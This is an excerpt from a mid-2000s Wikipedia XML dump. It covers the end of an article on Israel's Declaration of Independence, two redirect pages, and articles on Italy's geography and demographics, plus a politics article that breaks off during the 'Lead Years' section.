In [[1897]], at the summons of the spiritual father of the Jewish State, [[Theodore Herzl]], the [[First Zionist Congress]] convened and proclaimed the right of the Jewish people to national rebirth in what it claimed to be its own country.  This right was supported by the British government in the [[Balfour Declaration]] of [[November 2]], [[1917]] and re-affirmed in the Mandate of the [[League of Nations]] which, in particular, gave international sanction to the historic connection between the Jewish people and [[Palestine (region)|Palestine]] and to the right of the Jewish people to rebuild its National Home. 

The European [[the Holocaust|Holocaust]] of [[1939]] - [[1945]] is part of the imperative for the re-settlement of the homeland: 

''&quot;the catastrophe which recently befell the Jewish people&amp;mdash;the massacre of millions of Jews in Europe&amp;mdash;was another clear demonstration of the urgency of solving the problem of its homelessness by re-establishing in Israel the Jewish State, which would open the gates of the homeland wide to every Jew and confer upon the Jewish people the status of a fully privileged member of the community of nations. Survivors of the [[Nazi]] [[the Holocaust|Holocaust]] in [[Europe]], as well as Jews from other parts of the world, continued to migrate to Israel, undaunted by difficulties, restrictions and dangers, and never ceased to assert their right to a life of dignity, freedom and honest toil in their national homeland.&quot;''

In [[World War II]], the Jewish community of Palestine supported the [[Allied Forces]] against the [[Axis Powers]], and in particular against the [[Nazi]]s, while some members of the Arab Palestinian community supported the Nazis (see [[Grand Mufti of Jerusalem]]). Many maintain that the region's Jews thus earned the right to be among the peoples who founded the [[United Nations]].

On the [[November 29]], [[1947]], the [[United Nations General Assembly]] passed a [[United Nations General Assembly Resolution 181|resolution]] calling for the establishment of a Jewish State in Israel, requiring the inhabitants of Israel to take such steps as were necessary on their part for the implementation of that resolution. This recognition by the United Nations of the right of the Jewish people to establish their State is irrevocable.

Thus members and representatives of the Jews of Palestine and of the [[Zionism|Zionist]] movement upon the end of the British Mandate, by virtue of &quot;natural and historic right&quot; and based on the [[United Nations]] resolution:

''&quot;...Hereby declare the establishment of a Jewish state in the land of Israel to be known as the State of Israel.&quot;''

And so the state will be open for Jewish immigration and for the &quot;Ingathering of the Exiles&quot;; it will foster the development of the country for the benefit of all its inhabitants; it will be based on freedom, justice and peace as envisaged by the [[Prophet|prophets]] of Israel; it will ensure complete equality of social and political rights to all its inhabitants irrespective of religion, race or sex; it will guarantee freedom of religion, conscience, language, education and culture; it will safeguard the Holy Places of all religions; and it will be faithful to the principles of the Charter of the United Nations.

The new state pledged that it will take steps to bring about the economic union of the whole of Eretz-Israel.

To the surrounding [[Arab]] states:

''&quot;...in the very midst of the onslaught launched against us now for months - to the Arab inhabitants of the State of Israel to preserve peace and participate in the upbuilding of the State on the basis of full and equal citizenship and due representation in all its provisional and permanent institutions. We extend our hand to all neighbouring states and their peoples in an offer of peace and good neighbourliness, and appeal to them to establish bonds of cooperation and mutual help with the sovereign Jewish people settled in its own land. The State of Israel is prepared to do its share in a common effort for the advancement of the entire Middle East.&quot;''

A final appeal is made to the Jewish people throughout the Diaspora to rally round the Jews of Eretz-Israel in the tasks of [[Aliyah|immigration]] and upbuilding and to stand by them in the struggle for the realization of their age-old dream, the redemption of Israel.

Concluding by &quot;Placing our trust in the Rock of Israel [language which was the result of a compromise between religious and secular groups]...&quot; the signatories affixed their signatures. First to sign was [[David Ben-Gurion]], and some of the famous names associated with the founding of the state: [[Yitzhak Ben-Zvi]], [[Golda Meir|Golda Myerson (Meir)]], Rabbi Yehuda Leib Hacohen Fishman, [[Moshe Sharett]].&lt;!-- The ones who sign on the scroll of independence signed their names on an empty parchment, because in the time of the declaration, the writing of the scroll on the parchment was not finished. Only later the content of the scroll of independence like it is known today was added to the parchment.--&gt;&lt;!--Can we get a citation for that please?--&gt;

[[Category:Israel and Zionism]]
[[Category:History of Israel]]
[[he:&amp;#1492;&amp;#1499;&amp;#1512;&amp;#1494;&amp;#1514; &amp;#1492;&amp;#1506;&amp;#1510;&amp;#1502;&amp;#1488;&amp;#1493;&amp;#1514;]]
[[sr:&amp;#1044;&amp;#1077;&amp;#1082;&amp;#1083;&amp;#1072;&amp;#1088;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1112;&amp;#1072; &amp;#1086; &amp;#1087;&amp;#1088;&amp;#1086;&amp;#1075;&amp;#1083;&amp;#1072;&amp;#1096;&amp;#1077;&amp;#1114;&amp;#1091; &amp;#1044;&amp;#1088;&amp;#1078;&amp;#1072;&amp;#1074;&amp;#1077; &amp;#1048;&amp;#1079;&amp;#1088;&amp;#1072;&amp;#1077;&amp;#1083;]]
[[yi:מגילת העצמאות]]</text>
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  </page>
  <page>
    <title>Israel/Cities</title>
    <id>14697</id>
    <revision>
      <id>15912233</id>
      <timestamp>2003-05-15T03:57:10Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of cities in Israel]]</text>
    </revision>
  </page>
  <page>
    <title>Italy/History</title>
    <id>14698</id>
    <revision>
      <id>15912234</id>
      <timestamp>2002-07-17T23:41:54Z</timestamp>
      <contributor>
        <username>Gianfranco</username>
        <id>918</id>
      </contributor>
      <comment>*#Redirect [[History of Italy]]</comment>
      <text xml:space="preserve">#Redirect [[History of Italy]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Italy</title>
    <id>14699</id>
    <revision>
      <id>36481872</id>
      <timestamp>2006-01-24T09:45:01Z</timestamp>
      <contributor>
        <username>Retaggio</username>
        <id>272761</id>
      </contributor>
      <minor />
      <comment>it:</comment>
      <text xml:space="preserve">{{mergefrom|Extreme points of Italy}}
[[Image:1europe 2001.jpg|thumb|right|Italy viewed from space.]]
This article describes the '''[[geography]] of [[Italy]]'''.

; Location:
: Southern [[Europe]], a [[peninsula]] extending into the central [[Mediterranean Sea]], northeast of [[Tunisia]].
; [[Geographic coordinates]]:
: {{coor dm|42|50|N|12|50|E|type:country}}
; Map references:
: Europe
; Area:
:* Total: 301,230 [[Square kilometre|km&amp;sup2;]]
:* Land: 294,020 km&amp;sup2;
:* Water: 7,210 km&amp;sup2;
:* Note: includes [[Sardinia]] and [[Sicily]]
; Land boundaries:
:* Total: 1,932.2 km
:* Border countries: Austria 430 km, France 488 km, Holy See (Vatican City) 3.2 km, San  Marino 39 km, Slovenia 232 km, Switzerland 740 km
:* See also [[Extreme points of Italy]].

; Coastline:
: 7,600 km
; Maritime claims:
:* Continental shelf: 200 [[metre|m]] depth or to the depth of exploitation
:* Territorial sea: 12 [[nautical mile]]s
; Climate:
: Predominantly Mediterranean; Alpine in far north; hot, dry in south
; Terrain:
: Mostly rugged and mountainous; some plains, coastal lowlands
; Natural resources:
: Mercury, potash, marble, sulfur, dwindling natural gas and crude oil reserves, fish, coal, arable land
; Land use:
:* Arable land: 31%
:* Permanent crops: 10%
:* Permanent pastures: 15%
:* Forests and woodland: 23%
:* Other: 21% (1993 est.)
; Irrigated land:
: 27,100 km&amp;sup2; (1993 est.)
; Natural hazards:
: Regional risks include landslides, mudflows, avalanches, earthquakes, volcanic eruptions, flooding; land subsidence in Venice
; Environment--current issues:
: Air pollution from industrial emissions such as sulfur dioxide; coastal and inland rivers polluted from industrial and agricultural effluents; acid rain damaging lakes; inadequate industrial waste treatment and disposal facilities
; Environment--international agreements:
:* Party to: Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Air Pollution-Sulphur 94, Air Pollution-Volatile Organic Compounds, Antarctic-Environmental Protocol, Antarctic Treaty, Biodiversity, Climate Change, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands, Whaling
:* Signed, but not ratified: Air Pollution-Persistent Organic Pollutants, Climate Change-[[Kyoto Protocol]]
; Geography--note:
: Strategic location dominating central Mediterranean as well as southern sea and air approaches to Western Europe

[[Category:Geography of Italy| ]]
[[Category:Geography by country|Italy]]

[[es:Geografía de Italia]]
[[fr:Géographie de l'Italie]]
[[he:גאוגרפיה של איטליה]]
[[it:Italia geografica]]
[[pt:Geografia da Itália]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Italy</title>
    <id>14700</id>
    <revision>
      <id>42122327</id>
      <timestamp>2006-03-03T23:40:27Z</timestamp>
      <contributor>
        <username>Simdawdler</username>
        <id>1014500</id>
      </contributor>
      <text xml:space="preserve">[[Italy]] is largely homogeneous linguistically and religiously but is diverse culturally, economically, and politically. Italy has the fifth-highest population density in [[Europe]] &amp;mdash; about 194 persons per square kilometre (490 per square mile).

==Population==

'''Population''': 58,462,375 (December 2004) - 28,419,070 males and 29,683,963 females.

There are around 3 million immigrants living in Italy (est. Caritas census 2005), making up ca. 5% of the total population. World Alamanac suggests that Italy has 2.3 million immigrants or 
4% of the total population.
However, numerous other sources point to less immigrants- about 2-3% of the population

'''Families''': 21,503,088 (55,920,840 Italians in a familiar status, 2.60 Italians per family)

*Most populated town (residents)  [[Rome]] (RM) 2,553,873 
*Least populated town (residents)  Morterone (LC) 33 
*Greatest human density (residents per km&amp;sup2;)  [[Portici]] (NA) 13,032.1 
*Greatest town territory (km&amp;sup2;)  [[Rome]] (RM) 1,285.30 
*Smallest town territory (km&amp;sup2;)  Fiera di Primiero (TN) 0.15

===Metropolitan Areas===

*[[Milan]] - around 6,500,000 to 7,000,000
*[[Naples]] - around 4,200,000
*[[Rome]] - around 3,800,000
*[[Turin]] - around 1,800,000
*Venetian Agglomeration - around 1,600,000 ([[Venezia]], [[Padova]], [[Mestre]], [[Treviso]]) 
*[[Bari]] - around 1,500,000
*[[Florence]] - around 1,300,000
*[[Palermo]] - around 1,000,000
*[[Genoa]] - around 1,000,000
*[[Catania]] - around 800,000
*[[Bologna]] - around 600,000

===Cities ranked by population===
not representing [[metropolitan area]]s:
from the December 2004 Istat report (www.istat.it):
{| border=1
! Name !! Population !! Region
|-
|[[Rome]] ||align=right| 2,553,873 || [[Lazio]]
|-
|[[Milan]] ||align=right| 1,299,439 || [[Lombardy]]
|-
|[[Naples]] ||align=right| 995,171 || [[Campania]]
|-
|[[Turin]] ||align=right| 902,255 || [[Piedmont]]
|-
|[[Palermo]] ||align=right| 675,277 || [[Sicily]]
|-
|[[Genoa]] ||align=right| 605,084 || [[Liguria]]
|-
|[[Bologna]] ||align=right| 374,425 || [[Emilia-Romagna]]
|-
|[[Florence]] ||align=right| 368,059 || [[Tuscany]]
|-
|[[Bari]] ||align=right| 328,458 || [[Puglia]]
|-
|[[Catania]] ||align=right| 305,773 || [[Sicily]]
|-
|[[Venice]] ||align=right| 271,251 || [[Veneto]]
|-
|[[Verona]] ||align=right| 259,068 || [[Veneto]]
|-
|[[Messina]] ||align=right| 247,592 || [[Sicily]]
|-
|[[Padua]] ||align=right| 210,821 || [[Veneto]]
|-
|[[Trieste]] ||align=right| 207,069 || [[Friuli-Venezia Giulia]]
|-
|[[Taranto]] ||align=right| 199,012 || [[Puglia]]
|-
|[[Brescia]] ||align=right| 192,164 || [[Lombardy]]
|-
|[[Reggio di Calabria]] ||align=right| 183,041 || [[Calabria]]
|-
|[[Prato]] ||align=right| 180,674 || [[Tuscany]]
|-
|[[Modena]] ||align=right| 180,110 || [[Emilia-Romagna]]
|-
|[[Parma]] ||align=right| 174,471 || [[Emilia-Romagna]]
|-
|[[Cagliari]] ||align=right| 161,465 || [[Sardegna]]
|-
|[[Livorno]] ||align=right| 155,986 || [[Toscana]]
|-
|[[Perugia]] ||align=right|  157,842 || [[Umbria]]
|-
|[[Reggio nell'Emilia]] ||align=right| 155,191 || [[Emilia-Romagna]]
|-
|[[Foggia]] ||align=right| 154,780 || [[Puglia]]
|-
|[[Ravenna]] ||align=right| 146,989 || [[Emilia-Romagna]]
|-
|[[Salerno]] ||align=right| 135,818 || [[Campania]]
|-
|[[Rimini]] ||align=right| 134,700 || [[Emilia-Romagna]]
|-
|[[Ferrara]] ||align=right| 131,907 || [[Emilia-Romagna]]
|-
|[[Sassari]] ||align=right| 124,929 || [[Sardegna]]
|-
|[[Syracuse, Italy|Syracuse]] ||align=right| 123,332 || [[Sicily]]
|-
|[[Pescara]] ||align=right| 122,577 || [[Abruzzo]]
|-
|[[Monza]] ||align=right| 122,263 || [[Lombardy]]
|-
|[[Bergamo]] ||align=right| 116,510 || [[Lombardy]]
|-
|[[Vicenza]] ||align=right| 113,483 || [[Veneto]]
|-
|[[Latina]] ||align=right| 111,946 || [[Lazio]]
|-
|[[Forlì]] ||align=right| 111,495 || [[Emilia-Romagna]]
|-
|[[Trento]] ||align=right| 110,142 || [[Trentino-South Tyrol]]
|-
|[[Terni]] ||align=right| 108,999 || [[Umbria]]
|-
|[[Novara]] ||align=right| 102,746 || [[Piedmont]]
|-
|[[Ancona]] ||align=right| 101,797 || [[Marche]]
|}

==Immigration==

Traditionally a country of emigrants, in the last 20 years Italy has become a country of immigration, with about 2% of the population fitting that description. 

156,179 foreigners were counted in the 1971 census, (Source: Italian Caritas); according to the last figure (Caritas est. 2005 [http://www.rassegna.it/2005/affarisociali/articoli/caritas2.htm], almost 3 million of immigrants live legally in Italy, while figure for undocumented immigrants vary from 0.8 million to 2 million. Italy is periodically legalizing unauthorized foreigners.

The largest group of foreigners are Moroccans, followed by Albanians.


&lt;b&gt;Net migration rate:&lt;/b&gt; 9.6 migrant(s)/1,000 population (2005 est.)

==Languages==

The official and common language is [[Italian language|Italian]].

Officially recognized [[minority language]] groups are:

&lt;table border=1&gt;
&lt;tr&gt;
&lt;td&gt;'''Group'''&lt;/td&gt;&lt;td align=right&gt;'''Population'''&lt;/td&gt;&lt;td&gt;'''Native language'''&lt;/td&gt;&lt;td&gt;'''Region'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sardinian&lt;/td&gt;&lt;td align=right&gt;1 269 000&lt;/td&gt;&lt;td&gt;[[Sardinian language|Sardinian]]&lt;/td&gt;&lt;td&gt;[[Sardinia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Friulian&lt;/td&gt;&lt;td align=right&gt;526 000&lt;/td&gt;&lt;td&gt;[[Friulian language|Friulian]]&lt;/td&gt;&lt;td&gt;[[Friuli-Venezia Giulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tyrolean&lt;/td&gt;&lt;td align=right&gt;290 000&lt;/td&gt;&lt;td&gt;[[German language|German]]&lt;/td&gt;&lt;td&gt;[[Trentino-South Tyrol]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Occitan&lt;/td&gt;&lt;td align=right&gt;178 000&lt;/td&gt;&lt;td&gt;[[Occitan language|Occitan]]&lt;/td&gt;&lt;td&gt;[[Piedmont (Italy)|Piedmont]], [[Liguria]], [[Calabria]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gipsy&lt;/td&gt;&lt;td align=right&gt;130 000&lt;/td&gt;&lt;td&gt;[[Romany language|Romany]]&lt;/td&gt;&lt;td&gt;the whole country&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Albanian&lt;/td&gt;&lt;td align=right&gt;98 000&lt;/td&gt;&lt;td&gt;[[Albanian language|Albanian]]&lt;/td&gt;&lt;td&gt;southern Italy, [[Sicily]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Franco-Provençal&lt;/td&gt;&lt;td align=right&gt;90 000&lt;/td&gt;&lt;td&gt;[[Franco-Provençal language|Franco-Provençal]]&lt;/td&gt;&lt;td&gt;[[Piedmont (Italy)|Piedmont]], [[Aosta Valley]], [[Apulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Slovenian&lt;/td&gt;&lt;td align=right&gt;70 000&lt;/td&gt;&lt;td&gt;[[Slovenian language|Slovenian]]&lt;/td&gt;&lt;td&gt;[[Friuli-Venezia Giulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ladin&lt;/td&gt;&lt;td align=right&gt;55 000&lt;/td&gt;&lt;td&gt;[[Ladin language|Ladin]]&lt;/td&gt;&lt;td&gt;[[Trentino-South Tyrol]], [[Veneto]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;French&lt;/td&gt;&lt;td align=right&gt;20 000&lt;/td&gt;&lt;td&gt;[[French language|French]]&lt;/td&gt;&lt;td&gt;[[Aosta Valley]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Greek&lt;/td&gt;&lt;td align=right&gt;20 000&lt;/td&gt;&lt;td&gt;[[Griko language|Griko]] ([[Greek language|Greek]])&lt;/td&gt;&lt;td&gt;[[Calabria]], [[Apulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Catalan&lt;/td&gt;&lt;td align=right&gt;18 000&lt;/td&gt;&lt;td&gt;[[Alguerese]] ([[Catalan language|Catalan]])&lt;/td&gt;&lt;td&gt;[[Sardinia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Croatian&lt;/td&gt;&lt;td align=right&gt;2 600&lt;/td&gt;&lt;td&gt;[[Croatian language|Croatian]]&lt;/td&gt;&lt;td&gt;[[Molise]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Carinthian&lt;/td&gt;&lt;td align=right&gt;2 000&lt;/td&gt;&lt;td&gt;[[German language|German]]&lt;/td&gt;&lt;td&gt;[[Friuli-Venezia Giulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Carnian&lt;/td&gt;&lt;td align=right&gt;1 400&lt;/td&gt;&lt;td&gt;[[Friulian language|Friulian]]&lt;/td&gt;&lt;td&gt;[[Friuli-Venezia Giulia]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;small&gt;Source: ''Ministero degli Interni del Governo Italiano''.&lt;/small&gt;

Official status:
* [[German language|German]] is official in [[South Tyrol]], where in 1991 there were 287,503 German and 116,914 Italian speaking people.
* Standard [[French language|French]] is official only in the Valle d'Aosta, but the spoken dialects of this region and of some northern valleys of Piedmont are precisely French-Provencal, which reveals some differences from pure French).

==Religion==

Although [[Roman Catholic]]ism is the dominant religion &amp;mdash; 97% of native-born citizens are nominally Catholic &amp;mdash; there are mature [[Protestant]] and [[Judaism|Jewish]] communities and a growing [[Islam|Muslim]] (see: [[Islam in Italy]]) immigrant community. The [[Constitution of Italy|Italian Constitution]] provides all religious faiths equal freedom before the law.

==Other statistical indicators==

''From the Istat &quot;Demography in figures&quot; 2005'', http://www.demo.istat.it/index_e.html

'''Population estimate:'''
58,462,375 (Istat 2005)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
14,3%  (male 4,181,946; female 3,935,565)
&lt;br&gt;''15-64 years:''
66.9% (male 19,590,497; female 19,256,747)
&lt;br&gt;''65 years and over:''
18,9% (male 4,608,479; female 6,484,243)

'''Median age:'''
&lt;br&gt;''total:'' 41.4 years
&lt;br&gt;''male:'' 39.8 years
&lt;br&gt;''female:'' 43 years
(2004 est.)

'''Birth rate:'''
9.7 births/1,000 population (Istat 2005)

'''Death rate:'''
9.4 deaths/1,000 population (Istat 2005) 

'''Net migration rate:'''
9.6 migrant(s)/1,000 population (Istat 2005)  
'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.07 male(s)/female
&lt;br&gt;''under 15 years:''
1.06 male(s)/female
&lt;br&gt;''15-64 years:''
1.02 male(s)/female
&lt;br&gt;''65 years and over:''
0.71 male(s)/female
&lt;br&gt;''total population:''
0.96 male(s)/female
(2004 est.)

'''Infant mortality rate:'''
&lt;br&gt;''total:'' 6.07 deaths/1,000 live births
&lt;br&gt;''male:'' 6.68 deaths/1,000 live births
&lt;br&gt;''female:'' 5.41 deaths/1,000 live births
(2004 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
80.75 years
&lt;br&gt;''male:''
77.8 years
&lt;br&gt;''female:''
83.7 years
(Istat 2005)

'''Total fertility rate:'''
1.45 children born/woman (Istat 2005)

'''HIV/AIDS - adult prevalence rate:'''
0.4% (2001 est.)

'''HIV/AIDS - people living with HIV/AIDS:'''
100,000 (2001 est.)

'''HIV/AIDS - deaths:'''
less than 1,000 (2003 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Italian(s)
&lt;br&gt;''adjective:''
Italian

'''Ethnic groups:'''
[[Italians|Italian]] (includes small clusters of [[German people|German]]-, [[France|French]]-, and [[Slovenes|Slovenian]]-Italians in the north and [[Albanians|Albanian]]-Italians and [[Greeks|Greek]]-Italians in the south)

(96.0% Italian, 0.9% [[Arab]] North African, 0.8% Italo-Albanian, 0.8% [[German people|German]], 1.5% [[French people|French]], other)

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
98.6%
&lt;br&gt;''male:''
99%
&lt;br&gt;''female:''
98.3%
(2003 est.)

==See also==
* [[Italy]]

[[Category:Demographics by country|Italy]]
[[Category:Demographics of Italy| ]]


[[es:Demografía de Italia]]
[[fr:Démographie de l'Italie]]
[[pt:Demografia da Itália]]
[[zh:意大利人口]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Italy</title>
    <id>14701</id>
    <revision>
      <id>42110669</id>
      <timestamp>2006-03-03T22:12:12Z</timestamp>
      <contributor>
        <username>Bz2</username>
        <id>128524</id>
      </contributor>
      <minor />
      <comment>/* Political parties */ three minor fixes</comment>
      <text xml:space="preserve">{{Politics of Italy}}
'''Politics of Italy''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Italy]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the two chambers of parliament. The [[Judiciary]] is independent of the executive and the legislature. [[Italy]] has been a democratic [[republic]] since [[June 2]], [[1946]], when the [[monarchy]] was abolished by popular [[referendum]] (see [[birth of the Italian Republic]]). The constitution was promulgated on [[January 1]], [[1948]].

== Division of powers ==
The [[1948]] Constitution established a bicameral [[parliament]], with a lower and an upper chamber (respectively [[Chamber of Deputies]] and [[Italian Senate|Senate]]), a separate judiciary branch, and an executive branch composed of a Council of Ministers (cabinet), headed by the president of the council ([[prime minister]]). The government depends on confidence from each branch of the parliament, and has in turn the power to make [[decree]]s. Decrees have to be confirmed in the parliament, and &quot;decree jam&quot; has been a problem in recent years, as governments try to reform the structure of the state using chiefly decrees instead of passing laws directly through the parliament.

==Executive branch==
{{office-table}}
|[[List of Presidents of the Italian Republic|President]]
|[[Carlo Azeglio Ciampi]]
|
|[[18 May]] [[1999]]
|-
|[[Prime Minister of Italy|Prime Minister]]
|[[Silvio Berlusconi]]
|[[Forza Italia]]
|[[11 June]] [[2001]]
|-
|Coalition partners
|
|[[National Alliance (Italy)|AN]] - [[Democrats' Centre Union|UCD]] - [[Northern League (Italy)|Lega Nord]]|
|
|}

===The President of the Republic ===
The [[List of Presidents of the Italian Republic|President of the Republic]] is elected by an electoral college consisting of both houses of Parliament and 58 regional representatives for a seven-year term. Its election needs a wide majority that is progressively reduced from two-thirds to one-half plus one of the votes as the ballots progress. The only presidents ever to be elected on the first ballot are [[Francesco Cossiga]] and [[Carlo Azeglio Ciampi]]. Mr. Ciampi is the current incumbent, and his term is due to end in May [[2006]]. Whereas it is not forbidden by law, no president has ever served two terms.

The president represents the unity of the state, and is present, albeit with limited powers, in all branches of the Italian state: he is elected by the law-making, nominates the executive, and is automatically the president of the judiciary. He is also [[commander in chief]] of the [[armed force]]s. In practice, the president should be above party politics, and be an institutional guarantee for all. The president can also reject openly anti-constitutional laws by refusing to sign them.

===The Prime Minister===
The President appoints the Prime Minister whose government must receive a vote of confidence from both parliamentary chambers.

==Legislative branch==
: ''Main article: [[Parliament of Italy]]''
Italy elects, on national level, a [[Parliament of Italy|Parliament]] consisting of two [[bicameralism|houses]], the [[Chamber of Deputies of Italy|Chamber of Deputies]] (''Camera dei Deputati'') (630 members) and the [[Italian Senate|Senate of the Republic]] (''Senato della Repubblica'') (315 elected members, plus a few senators for life). 



==Political parties and elections==
{{elect|List of political parties in Italy|Elections in Italy}}
=== Political parties ===
[[Image:ElezioneBrunate.jpg|thumb|right|a poster for the European Parliament election 2004 in Italy, showing party lists]]

Italy's dramatic self-renewal transformed the political landscape between 1992 and 1997. Scandal investigations touched thousands of politicians, administrators, and businessmen; the shift from a proportional to an [[Additional Member System]] (with the requirement to obtain a minimum of 4% of the national vote to obtain representation) also altered the political landscape.

Party changes were sweeping. The Christian Democratic party dissolved; the Italian People's Party and the Christian Democratic Center emerged. Other major parties, such as the Socialists, saw support plummet. A new [[liberalism|liberal]] movement, [[Forza Italia]], gained wide support among moderate voters. The [[Alleanza Nazionale]] (National Alliance) broke from the (alleged neo-fascist) [[Italian Social Movement]] (MSI). A trend toward two large coalitions (one on the center-left and the other on the center-right) emerged from the April [[1995]] regional elections. For the 1996 national elections, the center-left parties created the [[Olive Tree]] coalition while the center-right united again under the [[House of Freedoms]]. 
{{main|Italian general election, 2001}}
The May 2001 elections, where both coalitions used [[Mixed member proportional representation#Decoy lists|''decoy lists'']] to undermine the proportional-compensation part of the electoral system, ushered a refashioned center-right coalition dominated by Berlusconi's party, Forza Italia, into power. The Olive Tree coalition now sits in the opposition.

This emerging bipolarity represents a major break from the fragmented, multi-party political landscape of the postwar era, although it appears to have reached a plateau, since efforts via referendums to further curtail the influence of small parties were defeated in [[1999]] and [[2000]]. The constant debate among the components of both coalitions is however intense, and some observers noted in this infighting some similarities with the previous system.

===Latest elections===
{{Italian general election, 2001-Deputies}}
{{Italian general election, 2001-Senate}}
== Judicial branch==

The Italian judicial system is based on [[Roman law]] modified by the [[Napoleonic code]] and later [[statute]]s. It is based on a [[civil law (legal system)|civil law]] system. Appeals are treated as new trials, and three degrees of trial are present.

There is only partial [[judicial review]] of legislation in the American sense. Judicial review under certain conditions in [[Constitutional Court of Italy|Constitutional Court]], which can reject anti-constitutional laws after scrutiny.

The Constitutional Court is composed of 15 judges: one-third appointed by the president, one-third elected by Parliament, one-third elected by the ordinary and administrative supreme courts. The constitutional court passes on the constitutionality of laws, and is a post-[[World War II]] innovation. Its powers, volume, and frequency of decisions are not as extensive as those of the [[U.S. Supreme Court]].

Italy has not accepted compulsory jurisdiction of the [[International Court of Justice]].

== History of the post-war political landscape ==

[[Image:ElezioneMilano.jpg|thumb|left|campaigners working on posters in Milan, Italy, 2004]]

=== First Republic ===
There have been frequent government turnovers since [[1945]]. The dominance of the [[Christian Democracy (Italy)|Christian Democratic]] party during much of the postwar period lent continuity and comparative stability to Italy's political situation, mainly dominated by the attempt of keeping the [[Italian Communist Party]] out of power, to maintain [[Cold War]] equilibrium in the region.

The communists were in the government only in the national unity governments before [[1948]], in which their party's secretary [[Palmiro Togliatti]] was minister of Justice. After the [[Italian general election, 1948|first democratic elections]] with [[universal suffrage]] in 1948, in which the Christian Democracy and their allies won against the ''Popular front'' of the Italian Communist and [[Italian Socialist Party|Socialists]] parties, the communist party never returned in the government.

Even though many repeat the [[cliché]] that Italy had over fifty governments in its first fifty years of democracy to stigmatise its alleged political instability, Italy's main political problem was actually the opposite: in all the course of the so-called First Republic, the government was in the hands of the Christian Democrats and their allies, since it was unacceptable for a communist party to rule a western country during the [[Cold war]]. The system had been nicknamed the ''imperfect bipolarism'', referring to more proper bipolarism in other western countries (the [[United States]], [[Germany]], the [[United Kingdom]], [[France]] etc.) where right-wing and left-wing parties alternated in government.

==== The Socialists enter the Government ====
The main event in the First Republic was the entry of the Socialist party in the government in the sixties, after the reducing edge of the [[Christian Democracy (Italy)|Christian Democracy]] (DC) had forced them to accept this alliance; attempts to incorporate the [[Fascism|fascist]] [[Italian Social Movement]] (MSI) in the [[Fernando Tambroni|Tambroni]] government led to [[riot]]s, and were short-lived.

[[Aldo Moro]], a relatively left-leaning Christian democrat, was the inspirator of this alliance. He would later try to include the Communist Party as well, with a deal called the ''[[Historic Compromise|historical compromise]]''. This was however stopped by the [[kidnap]]ping and [[murder]] of Moro in 1978 by the [[Red Brigades]], an extremist left-wing [[terrorism|terrorist]] organisation.

The Communist party was at this point the largest communist party in western Europe, and remained such for the rest of its existence. This was largely due their non-extremistic and pragmatic stance, and to their growing independence from [[Moscow]] (see [[eurocommunism]]). The communist party was especially strong in areas like [[Emilia Romagna]], where they had stable government positions and matured practical experience, which may have contributed to a more pragmatic approach to politics.

==== The Lead Years ====

''See also: [[Strategy of tension]]''

The ''lead years'' (''anni di piombo'') spans from the December 1969 [[Piazza Fontana bombing]] to at least the 1980 [[Bologna bombing]]. 

On [[December 12]], [[1969]], a roughly [[decade]]-long period of left and right-wing political terrorism known as ''the lead years'' ([[Italian language|Italian]]: ''anni di piombo'') began with the [[Piazza Fontana bombing]] in the centre of [[Milan]], which neofascist [[Vincenzo Vinciguerra]] later declared to be an attempt to push the Italian state to declare a [[state of emergency]], which would lead to a more authoritative state. A bomb left in a bank killed about twenty, and was immediately blamed on [[anarchism|anarchists]]. This was hotly contested by left-wing circles, especially the [[Maoist]] Student Movement, very strong in those years in Milan's [[university|universities]], who considered the bombing to be of fascist brand; their guess was proved to be correct, but only after many years of difficult investigations.

